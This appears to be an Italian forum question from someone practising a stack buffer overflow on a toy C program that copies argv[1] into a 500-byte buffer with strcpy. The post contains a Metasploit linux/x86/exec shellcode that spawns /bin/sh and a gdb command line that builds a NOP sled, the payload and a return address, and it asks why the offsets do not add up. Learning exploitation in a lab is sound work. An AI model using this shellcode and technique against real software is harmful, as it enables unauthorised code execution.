Ho un programma c facile con:
char Buffer[500]
strcpy(Buffer,arvg[1])
Ho provato a causare un overflow con NOPs + exploit + indirizzo di ritorno.
usato: gdb debugger e gcc
indirizzo di ritorno: indirizza ai NOP
payload: viene generato il mio carico utile metasploit linux/x86/exec
con cmd / bin / sh, per aprire solo una shell
Il problema, non sta generando un altro processo, l'indirizzo di ritorno dovrebbe essere corretto. Forse è l'exploit?
msf payload(linux/x86/exec) > generate
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"
run $(python -c 'print "\x90" *356 +payload + "\x90" * 86 +"\x54\xff\x22\x00" ')
L'EIP contiene l'indirizzo di ritorno dato, se aggiungo altri 20 x90, si blocca e posso vedere l'indirizzo di ritorno nell'eip con info registers
.
Se conto questo insieme, 356 + 43 + 86 + 4 = 489. Ma dovrebbe essere 500 + 4 ebp + 4 byte eip lunghi?